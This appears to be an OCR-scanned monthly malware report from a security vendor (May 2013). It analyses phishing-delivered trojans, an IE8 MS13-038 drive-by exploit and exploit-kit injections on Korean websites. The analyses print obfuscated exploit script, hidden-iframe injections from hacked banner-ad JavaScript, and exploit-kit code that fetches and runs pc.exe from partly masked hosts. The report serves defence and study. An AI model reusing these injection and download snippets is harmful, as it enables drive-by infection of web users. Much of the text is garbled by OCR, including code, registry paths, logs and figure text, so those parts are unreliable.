TCP DISCONNECT  127.0.0.1=>1xx.1xx.50.2xx:80
TCP CONNECT 127.0.0.1=>1xx.1xx.100.2xx:6174
TCP CONNECT  127.0.0.1=>1xx.1xx.50.1xx:80
HTTP CONNECT 127.0.0.1=>1xx.1xx.50.1xx:80

Sample.exe

Sample.exe

Sample.exe
svchost.exe
svchost.exe
svchost.exe
k*¥***y ca**24.com/xxx.exe

TCP CONNECT 127.0.0.1=>1xx.9.150.2xx:80
HTTP CONNECT 127.0.0.1=>1xx.9.150.2xx:80
1xx.9.150.2xx/update.xml

XXX.exe

XXX.exe

Similar to other malware, it runs itself when Windows
starts and AVKill, which is the main function of online

game hack codes, appears on the detection test result.

[Registry information]

Once infected, it works in the same way as other online game
hack type malware. To avoid any harm as mentioned above, it is
best to download programs or tools from their official product
websites or official download sites. It is also advised to not install
and delete any unnecessary programs (toolbars, fake anti-virus,
P2P, etc). However, when downloading an unidentified program is
absolutely necessary, scanning it on a credible anti-virus program

prior to usage is strongly recommended.



If infected, download the anti-virus from the URL below to cure

the AVKIll malware first and then run a full test on V3.

V3 can detect this malware as follows.

<Malware name in V3 products>
Win-Trojan/Dwonloader.157322 (2013.05.18.06)
Win-PUP/Downloader.KorAd.65536 (2013.05.18.00)

Warning: Vulnerabilities in IE 8 Abuse Cases

Caution must be taken for a malware being distributed from a
website research security. A malicious script collected is shown

below. The script of this malware is obfuscated to hinder analysis.

function
"\\xS$1"

return
try ; Ycatch

function for (var

When the obfuscated script is decoded, the following malicious script
appears. MS13-038 (remote code execution issue due to vulnerabilities
in IE) is abused, so |E browsers of users who haven't updated their

Windows become infected in a drive by download format.

|(uncti0n exp()

fmt = unescape(”
fmt2 = unescape(EEEE)

for(i=0:i <2iee) {
fmt += unescape("AAAAT);
!ml--unescane( AB");
=%u 9844°°u77cl/u9844/°u77c| sud001%u77c | %uelda’u 77c4%u00E%u0001 %u3te aXuTic2%ue8dd%uTic | %ufa

fe%uebB0%u77cd%ubibc % uTic5%udicduTic 3%ulda Teuele%uebBl%uTTc4%ud001 %uTTc1%uld8a%uTTc 3% u e
5?’.u77c3"/u %u0100%u00017
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*MS13-038

Due to memory conflicts, Internet Explorer 8 version has a zeroday
vulnerability enabling remote code execution.

Microsoft is investigating this publicly announced vulnerability in
Internet Explorer 8. Meanwhile, IE 6, IE 7, IE 9 and IE 10 are not
affected by this issue.

This malicious script is confirmed to have been uploaded to a

system in Taiwan.

IP: 124 112 [whais]
Country: Taiwan

Japan
China South Korea

East
hina Sea

M lnr’r;ar
(Burma)

Thailand

Vietnam z Philippines.

POWERED BY

GO'ngé Malaysia

Since most users in Korea use IE and the malware is abusing a
recently discovered vulnerability, a large number of infected cases
can be expected. For prevention, it is recommended to not only

update Windows but also the anti-virus to the latest versions.

V3 can detect this malware as follows.
<Malware name in V3 products>
JS/Shellcode (2013.05.23.00)

Distribution of Malware Disguised as Speeding
Ticket Email

Recently, there have been reports about the distribution of
malware disguised as speed limit violation fine emails. The threat
is less risky for users residing in Korea, but caution must be taken
since the malware is similar to the one recently distributed as an
overseas financial email. The contents of this email is shown in

[Figure 1-44].

New York State — Department of Motor Vehicles
UNIFORM TRAFFIC TICKET
POLICE AGENCY
NEW YORK STATE POLICE

Local Police Code

THE PERSON DESCRIBED ABOVE IS CHARGED ASFOLLOWS

Time Date of Offense IN VIOLATION OF
7:25 AM 2700472013 NYS VAND T LAW
Description of Violation

SPEED OVER 55 ZONE

TO PLEAD, PRINT OUT THE ENCLOSED TICKET ANDSEND IT TO TOWN COURT, CHATAM
HALL., PO BOX 117



As you can see from the contents, the email is directing the reader

to run the attached file, shown in [Figure 1-38].

{TICKET-ID-62232-042013 exe}

: Apeniny t Ni‘ o Mo ‘
: « (elkSwitch locoipatated |

[Figure 1-38] Attached malware

When this file is executed, it copies itself as shown below to detour

the firewall, then registers certain values into the registry to start
automatically. Particularly, it creates a 5 digit random folder and
file name when it copies itself, and self-deletes the batch files

created in the infecting process to hide its traces.

[File creation]

C:\Documents and Settings\Administrator\Application Data\Tejif\
saado.exe
C:\DOCUME~NADMINI~1\LOCALS~1\Temp\tmpab59caéc.bat

[Registry Registration]
HKCU\Software\Microsoft\Windows\CurrentVersion\
Run\{07B002BD-02AB-AD7F-31B7-BBCB31C598D9}
HKLM\SYSTEM\ControlSet001\Services\SharedAccess\
Parameters\FirewallPolicy\StandardProfile\DisableNotifications
HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\
FirewallPolicy\StandardProfile\GloballyOpenPorts\List\27641:UDP

1) Registers the malicious file to Start program

2) Selects firewall exception settings for explorer.exe process
3) Opens 27641 port using UDP

4) Opens 24266 port using TCP

Additionally, when the code is executed, logs accessing the
Administrator.wab file in the Address Book folder and related
to the Microsoft Windows user directory can also be found. This
shows that the malware is not only acting as a bot, but also using
the users’ contacts.

¥ Address Book - Main Identity I~ [ofx

® @& X @6 & &
New  Properties  Delete FndPecple  Print Action

20 Sred Cortacts | Tipe D o select from bst:

0 Man Loty Contd g Eal Adress Busiress fhooe  Home Phene
Zedeamcle M exanciedecanie con 01234 567050
Example Man Properties i3

Sumensy | Name | Home | Busiess | Personsl | Oher | Neloetng | Digtal 104
‘! 25| summary of etormation sbout the centact

Nome:  EESITTTY |
EMal Address:  exampletpeamgle coes
Mome Phone: 0124 567630

Persanal WebPage:  heto:fvwm example. com @ I

Companry Nome:  Examole PLC

o) Ceme)

< >

1 Rews

[Figure 1-39] Administrator.wab file
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[Malware access file path]
C:\Documents and Settings\Administrator\Application Data\
Microsoft\Address Book\Administrator.wab

Also, network connection information is shown as follows.

explorer,exe TCP CONNECT 127.0.0.1 = 64 5597
explorer.exe TCP CONNECT 122.0.0.1 = 10 0633
explorer,exe TCP CONNECT 127.0.0.1 = L) 3%
explorer,exe TCP CONNECT 127.0.0.1 = [ 06
explorer,exe TCP CONNECT 127.0.0.1 = 17 0
explorer,exe HTTP CONNECT 127.0.0.1 =) 17 0
explorer,exe TCP DISCONNECT .. 127.0.0.1 = 17 0
explorer,exe TCP CONNECT 127.0.0.1 & "

explorer.exe HTTP CONNECT 127.0.0.1 => u

explorer,exe TCP DISCONNECT  127.0.0.1 => "

explorer,exe TCP DISCONNECT  127.0.0.1 = 10 0633
explorer.exe TCP CONNECT 127.0.0.1 =D 10 0633
explorer,exe TCP DISCONNECT  127.0.0.1 =D i) 06
explorer,exe TCP DISCONNECT  127.0.0.1 = 10 0633
explorer.exe TCP CONNECT 127.0.0.1 = 68 0528
explorer.exe TCP DISCONNECT  127.0.0.1 = 63 0528

[Figure 1-40] Network connection information at the time of code

infection

The malware mentioned above is one of many disguise-as-
mail type of malware, and can thus be prevented by paying
extra attention to emails being sent from unidentified senders,

containing suspicious links, or giving directions to run a certain file.

This malware can be found and repaired with a V3 product.
<Malware name in V3 products>
Trojan/Win32.Zbot (2013.05.09.00)

Spam Email Disguised as Bank of America

Recently, caution must be taken as a malware is distributed via
spam disguised as a email from the Bank of America. The recently
discovered spam email is titled "Your transaction is completed”

and contains the following content.

Transaction is completed. $04260178 has been successfully transferred.
If the transaction was made by mistake please contact our customer service.
| Receipt of payment is attached. |

*** This 15 an automatic: enerated email, please do not reply ***
Bank of Amenca, N.A Member FDIC. Equal Housing Lender Opens in new window
© 2013 Bank of Amenica Corporation. All nights reserved

[Figure 1-41] Contents of spam email disguised as Bank of America

The spam email says “Receipt of payment is attached” to direct
the users to open the file attachment. However, the attached file is

a zip file containing a malware in an execution file format.

Also, it contains phrases like “This is an automatically generated,
please do not reply” which real notification messages use to
prohibit reply emails. It has been found that the sender of the

spam email uses a google account, inco********aw3@gmail.com.

The attached file is a zip file named "PAYMENT RECEIPT 24-04-
2013-GBK-75.zip". When this attachment is downloaded and
unzipped, the following execution file is created. The file and the

icon look similar to a PDF file to confuse the user. In addition,



random letters are used in the file description. If it is a real receipt,
there is no need to send an execution file. Therefore, a malware

can be suspected.

PAYMENT RECEIPT 24-04-2013-GBK-75.exe S E % K E3
28 |HA | Tz | I A | 2o | 82 |

(Al PAYM T 24-04-2013-GBR-15.exe
ot g4 88 T28
g2 | Tidan Vditaz Mefyjyb |

[Figure 1-42] Execution file created when unzipped

It is impossible to confirm anything through the file's version
information. This also allows the attached execution file to be

suspected as a malware.

When this file is executed, it creates another file as shown below
to detour the firewall, then registers certain values into the
registry to start automatically. Also, when infected, it hides itself

by deleting the initially executed attached file.

[File creation]
C:\Documents and Settings\Administrator\Application Data\
Uptyec\ityv.exe

[Registry Settings]

sHListH11046:UDP

AListw18253:TCP

[Figure 1-43] List of Registry registration

1) Registers the malware file to Start program

2) Selects firewall exception settings for explorer.exe process
3) Opens 11046 port using UDP
4) Opens 18253 port using TCP

This malware sets firewall exception and leaves a port open to
connect to and control the PC later. Infected as a kind of Bot, it

tries to connect with a remote system as shown in [Figure 1-44].

TCP CONNECT
HTTP CONNECT
TCP DISCONNECT
TCP CONNECT |
HTTP CONNECT
TCP DISCONNECT

explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe

[Figure 1-44] Attempting to connect to a certain URL when infected

In the case of the recently discovered malware, it is crucial to

nfo/

nfo/

avoid infection since it changes the firewall settings to open a
port. Thus, caution must be taken for emails being sent from
unidentified senders, containing suspicious links, or giving
directions to run a certain file It is best not to click links or execute
files lightly. Especially for emails in English, it is best to distinguish

emails sent to the reader specifically from spam emails before
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reading.

<Malware name in V3 products>
Trojan/Win32.Zbot (2013.04.26.01)
Trojan/Win32.Zbot (2013.05.02.00)

Spam Email Disguised as United States Postal
Service (USPS)

Spam email disguised as email from the United States Postal
Service, an institution similar to the Korean Post Office, has been
discovered. To disguise the sender as USPS, the sending address
of "reports@usps.com” has been used, and the email directs the
reader to execute the attached malware. The email is titled "USPS
delivery failure report”, and the contents of the email directs the
user to execute the attached file by asking to print it (LABEL-ID-
56723547-GFK72.zip).

[Email Contents]
Notification

Our company's courier couldn’t make the delivery of package.
REASON: Postal code contains an error.

LOCATION OF YOUR PARCEL: New York

DELIVERY STATUS: sort order

SERVICE: One-day Shipping

NUMBER OF YOUR PARCEL: 5D61MZ1F2X

FEATURES: No

Label is enclosed to the letter.

Print a label and showv it at your post office.

An additional information:

If the parcel isn't received within 30 working days our company will
have the right to claim compensation from you for it's keeping in the
amount of $8.26 for each day of keeping of it.

You can find the information about the procedure and conditions of
parcels keeping in the nearest office.

Thank you for using our services.

USPS Global.

The following files are created when the attached file is executed.

[File creation]
C:\Documents and Settings\Administrator\Application Data\Akta\

iXyzs.exe

Also, a certain value is registered in the registry to detour the
firewall and enable automatic start on boot.

[Registry Registration]

rent ES0-ADD-
c

140}
pplication i oxe™"

ile¥Global IyOpenPorts

ACOTORGE
and Setti

HKLY trolSef

#Par ireval IPol i
Key: OxEIQAE4FD

HKLM tr icesWSharedAccess¥Paraneters¥Fireval IPol icy®StandardProfi le¥Global [yOpenPorts¥list
Key: DxEIFZSE30

HKLMYSYSTEN®Cont ro| Set001¥Servi ces¥Shared

15t924936:L0P

HKLMESYSTEN®Cont ro| Set 001¥Services¥Sh i5t¥21900:TCP

[Figure 1-45] Functions of the malware registered to the registry



Once infected, it deletes itself to hide its traces.

[Batch files for deleting traces]

@echo off

d

del "C:\Documents and Settings\Administrator\Desktop\LABEL-ID-
56753547-GFK72.exe"

if exist "C:\Documents and Settings\MAdministrator\Desktop\LABEL-ID-
56753547-GFK72.exe" goto d

del /F "CADOCUME~NADMINI~T\LOCALS~N\Temp\tmpeeadeOcd.
bat"

When infected, it repeatedly attempts to connect to a remote

system located in Germany.

6 polestar [RS

estar [RS 2366611

[Figure 1-46] Malware repeatedly attempting to connect

Most malicious spam emails disguise themselves as emails from

6! 6 > po

postal and delivery services. This method of personating postal
services has been used commonly and continuously. This means
that vulnerability to this damage still exists. Therefore, caution
must be taken for emails being sent from unidentified senders or

containing suspicious links and files in the main body.

<Malware name in V3 products>
Win-Trojan/Agent.297984.AW (2013.04.27.00)

Spam Email Disguised as UPS Way Bill

A malicious spam email disguised as a shipment tracking email
from UPS has been discovered. This email, with a malicious html
file attached, used a temporary email account as the sender’s

address, and was distributed to random users.

Important Delivery Information

Tracking Number: AREFO6WEMGT3Z74B6WY
Invoice can be downloaded from: AREFSWEMGT3Z74B6 WY
Number of Packages: 1

UPS Service: EXPRESS

‘Weight: 0.1LBS

72011 United Pascel Sexvice. UPS, the UPS brandmuark, and the color brown are trademarks of United Parcel Service of
America, Inc. All rights reserved.

For more information on UPS's privacy practices, refar to the UPS Privacy Policy.

Please do not reply directly to this e-mail. UPS will not receive any reply message.

For questions or conuments, visit Contact UPS.

[Figure 1-47] HTML file attached to the spam email

When the html file link is clicked, it connects to the actual
malware distribution website. As shown below, the website asks
permission to install a plugin and when allowed, downloads the

malware.
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[ Irstad Masiog Phoges. | x

[pt United States

Missing Plugin!

[Figure 1-48] Website for distributing the malware

Once the attached file is executed, the following files are created
and the execution file is registered to the registry for automatic
start on boot. Also it gets registered as an allowed program to
the firewall to prevent the PC's security settings from blocking
communication with the C&C server. Then it disables Windows

search by changing the folder option.

[File creation]

C:\Documents and Settings\[login user]\Application Data\[random
folderN\lrandom file name].exe

C:\Documents and Settings\[login user]\Local Settings\Temp\4.
tmp\msupdate.exe

C:\Documents and Settings\[login user]\Local Settings\Temp\&.

tmp\PsExec.exe

Of the created files, PsExec.exe file is a security tool provided by
Microsoft which can allow remote command control on the operating
system, so it can lead to additional security harm when installed. More

information about this tool can be found at the link below.

- http://technet.microsoft.com/ko-KR/sysinternals/bb897553.aspx

If the remote controlling program is installed, it can become a
bigger issue than the malware infection itself. It is not considered
malicious by security products like Anti-Virus, so the malware
creator can easily take control even after the malware is repaired.
It is highly likely that the distributor of this case already has
the sensitive personal data, such as the PC's login account
information. Distributors can also use these PCs as Zombie PCs.
Not only that, they can be used as crime tools to attack other
people. The following [Figure 1-49] shows the packet when the

infected system is emailing the random recipients.

~enitcr - com>
[ACK] 5eqe89 Ack=58 Win=64240 Len=0
843828qct. 70 - g

rer 1. com>

92.168/218.130 -

56 0.712312007 - - - -

58 0.71265000 192.168. 218.130

[Figure 1-49] Malicious email sent from an infected PC
Email recipients are selected using outside sources, as well

as from Outlook's contacts installed in the PC where email



addresses can be extracted. This type of email sending function
may not always occur when infected. Also, most emails sent out
are usually not recognized. Yet it has possible side effects, such as
slowing down the company network, or causing additional harm
by sending spam emails to more random recipients Caution must

be taken to prevent infection.

<Malware name in V3 products>
Win-Trojan/Agent.238080.AS (2013.04.27.00)
Win-Trojan/Agent.278016.AD (2013.04.27.00)
Trojan/Win32.VBKtypt (2013.04.27.00)

UPS Shipment has arrived

There are endless cases of malicious spam disguised as coming
from famous companies. This time, it was discovered that an
international shipping company, UPS, was impersonated on the
attack. Variations of “UPS Shipment has arrived” was one of the

most used phishing phrases used in 2012.

XIS: UPS - Your package is available for pickup ( Parcel V19H95C1 )

LA} Jacqueline Rolznd@visa com

The courier company was not able to deliver your parcel by your address.
Cause: Error in shipping address

‘You may pickup the parcel at our post office.

Please attention!

For mode details 2nd shipping label please see the attached file.

print this label to get this package at our post office.

Please do not reply to this e-mail, it is an unmonitored mailbox!

Thank you,

UPS Logistics Services.

CONFIDENTIALITY NOTICE:

This electronic mail transmission and any attached files contain information intended for the
exclusive use of the individual or entity to whom it is addressed and may contain information
belonging to the sender (UPS , Inc.) that is proprietary, privileged, confidential and/or
protected from disclosure under applicable law. If you are not the intended recipient, you are
hereby notified that any viewing, copying, disclosure or distributions of this electronic

message are violations of federal law. Please notify the sender of any unintended recipients
and delete the original message without making any copies. Thank You

. UPS_Label 23052013zip

[Figure 1-50] Contents of malicious email

To briefly explain the contents of the email, a shipment has arrived
but the recipient’s address is missing, so the reader should check
the attached file (malicious file) and retrieve the shipment at the
nearest post office. Obviously, no shipment has actually arrived

and when the attached file is unzipped, the following malicious file

disquised as a PDF icon appears.
F 2013-05-24 27 9:20
2

UPS_Label_23052013.exe =73t @
gg =20 37 123k8
[Figure 1-51] Attached malicious file

When the malicious file is executed, it downloads logaal.exe file
and registers to the autoexe registry to run regularly. Also, for
C&C server communication, it tends to open the following port

with the basic Windows firewall.
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18345:UDP
29372:TCP

The executed malicious file connects to several of the following

servers to communicate.

116.
62.1
W,

.195:8080
245:80
versini.it/uirjSL.exe

108. 142:16753
200. 52:28681
71.1 27:16629

71.2
200.

27:16629
52:28681

200. 52:28681
85.1 2:16466
200. 52:28681

81.1 232:21833
76.6 06:28174

41.1 76:12001

[Figure 1-52] Malicious file connecting to several servers

V3 can detect this malware as follows.

<Malware name in V3 products>
Trojan/Win32.FakeAV (2013.05.24.03)
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) ) 06 07 08 09 10 11 12 01 02 03 04 05
Microsoft Security Updates - May

Microsoft issued a total of 10 security updates this month (2 SYSTEM

critical, 8 important). Especially in the case of a critical Microsoft
Explorer vulnerability (MS13-037, MS13-038), the vulnerability's

attack code is exposed and most likely to be abused, so quick

© =~ N W h O

updates are needed.

MS13-037 Cumulative Security Update for Internet Explorer: J

May 14, 2013
MS13-038 Fabricated web pages could allow remote code OFFICE

Ma Al

Important
APPLICATION

O =~ NWhr~ OO

Vulnerabilities in MS13-039 HTTP.sys could cause service
rejection

O = N WwWwbh o,

Vulnerabilities in M513-040 .Net Framework could cause
spoofing

Vulnerabilities in MS13-041 Lync could allow remote code
execution

Vulnerabilities in MS13-042 Microsoft Publisher could allow
remote code execution

Vulnerabilities in MS13-043 Microsoft Word could allow
remote code execution SERVER

O = N W s~ O

Vulnerabilities in MS13-044 Microsoft Visio could allow
information disclosure

Vulnerabilities in MS13-045 Windows Essentials could allow
information disclosure . ‘-

Vulnerabilities in MS13-046 Kernel mode driver could allow authority
promotion

[Table 2-1] Microsoft Security Updates for May 2013 [Figure 2-1] Microsoft Security Updates

O = NN W h O
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Security Issues

US Government Website Watering Hole Attack
Report

It was reported that on May 1st, the US Department of Labor
and US Department of Energy websites were used for malware
distribution. Also known as the "Watering hole”, this attack is
being reported as led by the Chinese ‘DeepPanda’ group which
attacked the Fortune 500 companies in 2011. The attack code
inserted to the website the vulnerabilities in CVE-2012-4792 (first
reported on Dec. 30 2012}, targeting users on Windows XP 0S with

Internet Explorer 6, 7, 8 versions.

Microsoft released a security patch (Ms13-008) in January
for the vulnerabilities in CVE-2012-4792. In addition to the
vulnerabilities in CVE-2012-4792, the vulnerabilities in CVE-
2013-1347(MS13-038) reported last May 5 can also be used for a
malicious Exploit Kit, so Windows OS users should apply the latest

security patch.

Microsoft Windows XP Support Ends

Technical support for Windows XP released on Oct. 16 2001 will
end on April 8 2014. Windows XP still occupies 38% of the 0S
market, and is known to occupy over 30% in the domestic market
as well.

Worldwide OS market share: April 2013

THE NEXT WEB

Source : http://thenextweb.com/insider/2013/05/01/windows-8-now-up-to-3-84-market-share-but-the-
windows-platform-loses-overall-as-all-other-versions-decline/
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When vulnerabilities in Windows XP SP3 and in versions below
Internet Explorer 8.0 continue to be announced (CVE-2012-
4792, CVE-2013-1347), the decision to end technical support for
Windows XP can expose all XP users to security vulnerabilities.
Additionally, the fact that most ATMs, POS equipment, advertising
electronic displays, as well as many other industrial equipment
use Windows XP is causing more worries than the past Windows

XP SP2 technical support termination.

However, since the latest Windows 0S versions (Windows 7 or
Windows 8) have less vulnerabilities, some expect that with the
end of Windows XP SP3 and settling to the latest OS version will

create a more stable and safer Internet environment.

Intensified APT Attacks between Countries

According to the report by the US Ministry of National Defense on
May 6, the Chinese government and military have been pointed
out as the cause of hacking incidents on US businesses and
national facilities. The Chinese government is reacting strongly

against this report and denied any charges.

On May 27, the Washington Post reported that over 20 blueprints
of a US smart weapon system had been disclosed by a Chinese
hacker's attack on the US Defense Science Board's secret
reports. Smart weapon technology such as combat planes,
battleships, and missile defense systems appeared on the list
and the most expensive equipment among them seems to be the
latest combat plane (F-35) disclosed in 2007. China is suspected
to have improved the development speed of its new stealth fighter

by using this data.

In addition to China, Iran’s attacks have also been reported by
a US congressman. The United States, under the suspicion of
crippling the Iranian nuclear facility using a malware ,Stuxnetl,

has now been reported as under attack by Iran. Main targets have



been reported to be industry-based systems, mostly US electronic

companies. The Iranian government has also denied this as well.

Reports say vulnerabilities (over two years old) in the LINUX
performance counter subsystem (CVE-2013-2094) have been
patched. The attack code for the vulnerability of a local account
user gaining administrator authority was announced on May
14, and the patch was included in the LINUX kernel update last
April. This patch is critical when using web hosting or allowing an
untrusted user access to the system. Patch information for each

LINUX vendor can be found at the following site.

http://www.cvedetails.com/cve/CVE-2013-2094/
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Web Security Statistics

Website Security Summary

This month, SiteGuard (AhnLab's web browser security service)

Reported malicious codes

blocked 15,013 websites that distributed malware. 272 types of 1 1 '821

malware, 208 domains with malware, and 963 URLs with malware

were found. The types of malware decreased slightly from the

previous month, but the detection of malware, domains with 1 5 0 1 3 o
malware, and URLs with malware has increased. ' + 27 [ 0 /0
Reported types of Domains with URLs with Graph

malicious code malicious code malicious code

301 191 654

272 208

963 4

[Table 3-1] Website Security Report on May 2013

Monthly Change.ln 15,013
Malware Detections 15,000 11,821 427.0%
250.4% + 3'192
As of May 2013, the number of +
Y 7,861
malware detections increased 10,000 $4.9% +3,960
127% from 11,821 detected in +
the previous month to 15,013. 5000
0
03 04 05

[Figure 3-1] Monthly Change in Malware Detections
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Monthly Change in the
Number of Reported 500 -
Malware Types Ry 301 272

¥8.2% 0
272 malware types were found in + 97 + v9.6%
May 2013, a 10% decrease from 750 o
the 301 found in April.

0
03 04 05

[Figure 3-2] Monthly Change in the Number of Reported Malware Types

Monthly Change in
Domains with Malware

208 domains were found with
malware in May 2013, which is a

9% increase from April.

400

300

200

100

208

191 0
181 N 28.9%
¥33.2%
+ +10 + +17
03 04 05

[Figure 3-3] Monthly Change in Domains with Malware

Monthly Change in
URLs with Malware

963 URLs were found with
malware in May 2013, a 147%
increase from the 654 found in

the previous month.

1,000

500

783

¥ 13.9%

+

03

654

¥ 16.5%

+

-129

04

963

247.0%

+309

05

[Figure 3-4] Monthly Change in URLs with Malware



Top Distributed Types
of Malware

Trojan was the top distributed
type of malware with 4,759
(31.7%) cases reported,
followed by Spyware with 4,038
(26.9%) cases reported.

Top 10 Distributed
Malware

Among the Top 10 malware
distributed, Win-Spyware/
Agent.544453 was the most
distributed malware with 4,004
cases reported. 5 new malware
including Win-Spyware/
Agent.544453 emerged in the
Top 10 list this month.
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Type Reports Percentage
TROJAN 4,759 31.7 %
SPYWARE 4,038 26.9 %
ADWARE 3,548 23.6 %
DOWNLOADER 277 1.8 %
DROPPER 89 0.6 %
Win32/VIRUT 41 0.3%
APPCARE 11 0.1%
JOKE 2 0.0 %
ETC 2,248 15.0 %
TOTAL 15,013 100.0%

[Table 3-2] Top Distributed Types of Malware

TROJAN
4,759

4,038

SPYWARE

ADWARE
3,548

ETC
2,248

DOWNLOADER
277
DROPPER
89
Win32/VIRUT
“ ‘ APPCARE
1

JOKE
2

5,000

2,500

[Fig 3-5] Top Distributed Types of Malware

Ranking avw Malicious Code Reports Percentage
1 NEW  Win-Spyware/Agent.544453 4,004 34.1%
2 A8 Adware/Win32.StartPage 2,762 23.6 %
3 NEW Trojan/Win32.MalPacked 1,012 8.6 %
4 NEW Trojan/Win32.Agent 943 8.0 %
5 v3 Textlmage/Viking 832 7.0 %
6 v5 Trojan/Win32.KorAd 628 5.4 %
7 NEW Win-Trojan/ASD.variant 493 4.2 %
8 v2 Adware/Win32.Clicker 393 3.4 %
9 V4 ALS/Bursted 384 3.3%
10 NEW Win-Trojan/Agent.25088.YQ 276 2.4%

TOTAL 11,727 100.0 %

[Table 3-3] Top 10 Distributed Malware




02

Web Security Issues

The following is a brief characterization of hacked websites for

distribution of malware in May.

Site Banner Ads, Safe?

A malware creator usually finds a vulnerable website to hack and
upload the malware to distribute it as widely as possible. However,
this method is inefficient. Then what may be an efficient method
for the creator to widely distribute the malware to achieve the goal
(of obtaining personal data, Internet banking data, etc]? Hacking
a website with banner ads and inserting the malware (a link for

downloading the malware) is one of the most efficient methods.

Let's assume the malware creator hacked a banner ad and
inserted the code. Other websites, unaware of this can link the
banner ad to themselves and instantly turn into a distribution point.
Even if the website is not vulnerable, a banner ad can turn the

entire website into a distribution site.

Some of the recently found distribution sites show the mentioned

banner ad distribution path, which has been visualized in [Figure 3-6].

%
l

wWw

‘E!A} %53}_

{%l %"]

[Figure 3-6] Malware distribution through banner ads

(1) Press website: get_bringback.js

The following code is inserted in the get_bringback.js linked to the
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press website.

if([document.cookie.indexOf('ralrlea’)==-1){var expires=new
Date();expires.setTime(expires.getTime()+24*60*60* 1000
);document.cookie="ralrlea=Yes;path=/;expires="'+expires.
toGMTString();document.write('<iframe width=100 height=0
frameborder=0 src=http:/www. ** ¥ ******* cq ky/_data/content/

score_box.html></iframe>");}

(2) Web storage site : get_kdisk_bringback.js?_=1369964785811
The following code is inserted in the get_kdisk_bringback.js linked

to the web storage site.

if([document.cookie.indexOf('ralrlea’)==-1){var expires=new
Date();expires.setTime(expires.getTime()+24*60*60* 1000
);document.cookie="ralrlea=Yes;path=/;expires="'+expires.
toGMTString();document.write('<iframe width=100 height=0
frameborder=0 src=http://www.******** com/akek/personal_

if. html></iframe>");}

The banner ad provided to the press and web storage sites came
from the same banner site, and the inserted malware is identical

except the URL(marked in blue).

The actual malware score_box.html, personal_if.html was created
with the Gongda Exploit Kit which can easily be found on malware
distribution sites.

<script languages"javascri, ipt” src="http://co on/c
<script type=“text/javascript” srce" surnn,eu ]s )(/s:rip:)
<script sre= jpg js></seript>

<script types"text/javascript">

var zRuxdlz-navigator. usarngenz toLovercase();

var Ihwovud="1"+"1"

if(document . cookle. lnatxlli( "dDnBII=")==-1 && zRUXAQ2.indexOF(“1inux")<=-1 && zRuXdQ2.index0F(“bot")==-1 && zRuxdQ2.index0f
(

Lick.aspx7id=204095720610g0=1" charset="gb2312"></script>

1.getPlay: ion();
var expires=new Date();
i tTime(

sJa-Ves;pam-/;expxrus-“qxpxres.xncmstrxng();
e D ey

WDqRxja7="1";igQtubs =

sELcHa- o €
E671CEASE76CC261E1799B2FF17ED3;

2061960E1301
BF709C7599608171F 9629E 749 150047 7F 724382AC12A0E 069

[Figure 3-7] score_box.html, personal_if.html created with Gongda
Exploit Kit

192752F 320327223B1E 03686B6D69726C7F

As shown in [Figure 3-7], when analyzing these malware, they are

coded to use 6 JAVA vulnerabilities, 1 Flash Player vulnerability,



and 1 |E vulnerability to download and run pc.exe. The following is a
malware which uses a Java vulnerability, CVE-2013-0422 to download

pc.exe.

gondad.archive="glKrwpab.jpg";
gondad.code="xmI20130422.XML20130422.class";
gondad.setAttribute("xiaomaolv',"http://admin. * * ¥ * ¥ ***** cq kr/
pc.exe');

gondad.setAttribute("bn","woyouyizhixiaomaolv');
gondad.setAttribute('si","conglaiyebugi”);
gondad.setAttribute('bs","748");

document.body.appendChild(gondad);

Malware distributed through Social Comment
Service

Social comment services are combined with SNS for marketing
and communicating purposes in businesses, press and
institutions. In May, a certain social comment service provider was
hacked and inserted with a malware, and all other websites using

the service were recognized as a malware distribution website.

http://****Lk.***ckple.com/js/***|k.jswas inserted with the

following obfuscated malicious script.

eval(function(p,a,c,k,e,d){e=function(c){return c};if(!"".
replace(///,String){while(c--){d[c]=k[c]||c}k=[function(e)
{return dlel}l;e=function(){return"\w+'};c=1};while(c-)if(k[c])
{p=p.replace(new RegExp("\b'+e(c)+"\b','g"),klc])}return p}
('4(3.8.25(\10\)==-1}{13 2=9 23();2.26(2.27()+24*15*15*29*7);
3.8=\"10=28;22=/;2 <&---omitted---—>

39'+"38=0></4"+'37"+"14>")}}',10,47,'|lexpires|document]if|||co
okie|new|naver1_ad||javalvarjme|60|ActiveXObject|isInstalled|i||
write|JavaWebStart|path|Date||indexOf|setTime|getTime|Yes| 1
000[toGMTString|fra|html|tice|no|wi|dth|ralight|he|sr|popup|ht|c|
tp|75/51".split('|),0,0))

The obfuscated code above is designed to download
http://175.%*¥*.51.***/popup/notice.html, and notice.html has
been obfuscated with the Gongda Exploit Kit, which is most
commonly used in Korea. If the connected PC is using IE, Java,
or Flash Player and has any vulnerability in one of its programs,
then a malware is downloaded from a certain site (http://
WwWw.FFERRE*mysic.com/r.gif) and executed. r.gif is a Trojan horse
that steals items from users in certain online game for cashing

purposes.
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